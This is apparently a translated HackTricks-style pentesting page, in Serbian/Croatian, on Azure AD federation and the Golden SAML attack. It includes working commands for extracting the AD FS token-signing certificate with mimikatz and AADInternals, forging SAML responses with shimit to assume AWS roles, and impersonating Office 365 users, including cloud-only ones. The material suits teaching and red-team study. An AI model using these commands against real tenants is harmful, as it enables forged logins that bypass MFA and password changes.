Az - Federacija

Reading time: 9 minutes

Osnovne informacije

Iz dokumenata:Federacija je skup domena koje su uspostavile povjerenje. Nivo povjerenja može varirati, ali obično uključuje autentifikaciju i gotovo uvek uključuje autorizaciju. Tipična federacija može uključivati broj organizacija koje su uspostavile povjerenje za zajednički pristup skupu resursa.

Možete federisati svoje on-premises okruženje sa Azure AD i koristiti ovu federaciju za autentifikaciju i autorizaciju. Ova metoda prijavljivanja osigurava da se sva autentifikacija korisnika odvija on-premises. Ova metoda omogućava administratorima da implementiraju rigoroznije nivoe kontrole pristupa. Federacija sa AD FS i PingFederate je dostupna.

U suštini, u Federaciji, sva autentifikacija se odvija u on-prem okruženju i korisnik doživljava SSO kroz sva poverena okruženja. Stoga, korisnici mogu pristupiti cloud aplikacijama koristeći svoje on-prem kredencijale.

Security Assertion Markup Language (SAML) se koristi za razmenu svih informacija o autentifikaciji i autorizaciji između provajdera.

U bilo kojoj federacijskoj postavci postoje tri strane:

• Korisnik ili Klijent
• Provajder identiteta (IdP)
• Provajder usluga (SP)

(Slike sa https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)

1. Prvo, aplikaciju (Provajder usluga ili SP, kao što je AWS konzola ili vSphere web klijent) pristupa korisnik. Ovaj korak može biti zaobiđen, vodeći klijenta direktno do IdP (Provajder identiteta) u zavisnosti od specifične implementacije.
2. Zatim, SP identifikuje odgovarajući IdP (npr. AD FS, Okta) za autentifikaciju korisnika. Zatim kreira SAML (Security Assertion Markup Language) AuthnRequest i preusmerava klijenta na odabrani IdP.
3. IdP preuzima, autentifikujući korisnika. Nakon autentifikacije, SAMLResponse formuliše IdP i prosleđuje SP-u kroz korisnika.
4. Na kraju, SP procenjuje SAMLResponse. Ako je uspešno validiran, što implicira odnos poverenja sa IdP-om, korisniku se odobrava pristup. Ovo označava završetak procesa prijavljivanja, omogućavajući korisniku da koristi uslugu.

Ako želite da saznate više o SAML autentifikaciji i uobičajenim napadima, idite na:

SAML Attacks - HackTricks

Pivotiranje

• AD FS je model identiteta zasnovan na tvrdnjama.
• "..tvrdnje su jednostavno izjave (na primer, ime, identitet, grupa), koje se daju o korisnicima, a koriste se prvenstveno za autorizaciju pristupa aplikacijama zasnovanim na tvrdnjama smeštenim bilo gde na Internetu."
• Tvrdnje za korisnika se pišu unutar SAML tokena i zatim se potpisuju kako bi se obezbedila poverljivost od strane IdP-a.
• Korisnik se identifikuje pomoću ImmutableID. On je globalno jedinstven i čuva se u Azure AD.
• ImmutableID se čuva on-prem kao ms-DS-ConsistencyGuid za korisnika i/ili se može izvesti iz GUID-a korisnika.
• Više informacija na https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims

Golden SAML napad:

• U ADFS-u, SAML Response se potpisuje sertifikatom za potpisivanje tokena.
• Ako je sertifikat kompromitovan, moguće je autentifikovati se na Azure AD kao BILO KOJI korisnik sinhronizovan sa Azure AD!
• Baš kao i naš PTA zlostavljanje, promena lozinke za korisnika ili MFA neće imati nikakav efekat jer falsifikujemo odgovor na autentifikaciju.
• Sertifikat se može izvući sa AD FS servera sa DA privilegijama i zatim se može koristiti sa bilo kog računara povezanog na internet.
• Više informacija na https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps

Golden SAML

Proces u kojem Provajder identiteta (IdP) proizvodi SAMLResponse za autorizaciju prijavljivanja korisnika je od suštinskog značaja. U zavisnosti od specifične implementacije IdP-a, odgovor može biti potpisan ili šifrovan koristeći privatni ključ IdP-a. Ova procedura omogućava Provajderu usluga (SP) da potvrdi autentičnost SAMLResponse-a, osiguravajući da je zaista izdat od strane poverenog IdP-a.

Može se povući paralela sa napadom zlatne karte, gde se ključ koji autentifikuje identitet i dozvole korisnika (KRBTGT za zlatne karte, privatni ključ za potpisivanje tokena za zlatni SAML) može manipulisati da falsifikuje objekat autentifikacije (TGT ili SAMLResponse). Ovo omogućava impersonaciju bilo kog korisnika, dajući neovlašćen pristup SP-u.

Zlatni SAML nudi određene prednosti:

• Mogu se kreirati na daljinu, bez potrebe da budu deo domena ili federacije u pitanju.
• Ostaju efikasni čak i sa dvofaktorskom autentifikacijom (2FA) uključenom.
• Privatni ključ za potpisivanje tokena se automatski ne obnavlja.
• Promena lozinke korisnika ne poništava već generisani SAML.

AWS + AD FS + Zlatni SAML

Active Directory Federation Services (AD FS) je Microsoftova usluga koja olakšava sigurnu razmenu informacija o identitetu između poverenih poslovnih partnera (federacija). U suštini, omogućava usluzi domena da deli identitete korisnika sa drugim provajderima usluga unutar federacije.

Sa AWS-om koji veruje kompromitovanom domenu (u federaciji), ova ranjivost se može iskoristiti da potencijalno dobije bilo koje dozvole u AWS okruženju. Napad zahteva privatni ključ koji se koristi za potpisivanje SAML objekata, slično kao što je potrebno KRBTGT u napadu zlatne karte. Pristup AD FS korisničkom nalogu je dovoljan da se dobije ovaj privatni ključ.

Zahtevi za izvođenje napada zlatnog SAML uključuju:

• Privatni ključ za potpisivanje tokena
• IdP javni sertifikat
• Ime IdP-a
• Ime uloge (uloga koja se preuzima)
• Domen\korisničko ime
• Ime sesije uloge u AWS-u
• Amazon ID računa

Samo stavke u podebljanom su obavezne. Ostale se mogu popuniti po želji.

Da biste dobili privatni ključ, potreban je pristup AD FS korisničkom nalogu. Odatle, privatni ključ se može izvesti iz lične biblioteke koristeći alate kao što je mimikatz. Da biste prikupili druge potrebne informacije, možete koristiti Microsoft.Adfs.Powershell snapin na sledeći način, osiguravajući da ste prijavljeni kao ADFS korisnik:

# From an "AD FS" session
# After having exported the key with mimikatz

# ADFS Public Certificate
[System.Convert]::ToBase64String($cer.rawdata)

# IdP Name
(Get-ADFSProperties).Identifier.AbsoluteUri

# Role Name
(Get-ADFSRelyingPartyTrust).IssuanceTransformRule

Sa svim informacijama, moguće je zaboraviti validan SAMLResponse kao korisnik koga želite da imitirate koristeći shimit:

# Apply session for AWS cli
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012
# idp - Identity Provider URL e.g. http://server.domain.com/adfs/services/trust
# pk - Private key file full path (pem format)
# c - Certificate file full path (pem format)
# u - User and domain name e.g. domain\username (use \ or quotes in *nix)
# n - Session name in AWS
# r - Desired roles in AWS. Supports Multiple roles, the first one specified will be assumed.
# id - AWS account id e.g. 123456789012

# Save SAMLResponse to file
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012 -o saml_response.xml

On-prem -> cloud

# With a domain user you can get the ImmutableID of the target user
[System.Convert]::ToBase64String((Get-ADUser -Identity <username> | select -ExpandProperty ObjectGUID).tobytearray())

# On AD FS server execute as administrator
Get-AdfsProperties | select identifier

# When setting up the AD FS using Azure AD Connect, there is a difference between IssueURI on ADFS server and Azure AD.
# You need to use the one from AzureAD.
# Therefore, check the IssuerURI from Azure AD too (Use MSOL module and need GA privs)
Get-MsolDomainFederationSettings -DomainName deffin.com | select IssuerUri

# Extract the ADFS token signing certificate from the ADFS server using AADInternals
Export-AADIntADFSSigningCertificate

# Impersonate a user to to access cloud apps
Open-AADIntOffice365Portal -ImmutableID v1pOC7Pz8kaT6JWtThJKRQ== -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Documents\ADFSSigningCertificate.pfx -Verbose

Takođe je moguće kreirati ImmutableID za korisnike koji su samo u oblaku i imitirati ih.

# Create a realistic ImmutableID and set it for a cloud only user
[System.Convert]::ToBase64String((New-Guid).tobytearray())
Set-AADIntAzureADObject -CloudAnchor "User_19e466c5-d938-1293-5967-c39488bca87e" -SourceAnchor "aodilmsic30fugCUgHxsnK=="

# Extract the ADFS token signing certificate from the ADFS server using AADInternals
Export-AADIntADFSSigningCertificate

# Impersonate the user
Open-AADIntOffice365Portal -ImmutableID "aodilmsic30fugCUgHxsnK==" -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Desktop\ADFSSigningCertificate.pfx -Verbose

Reference

• https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-fed
• https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps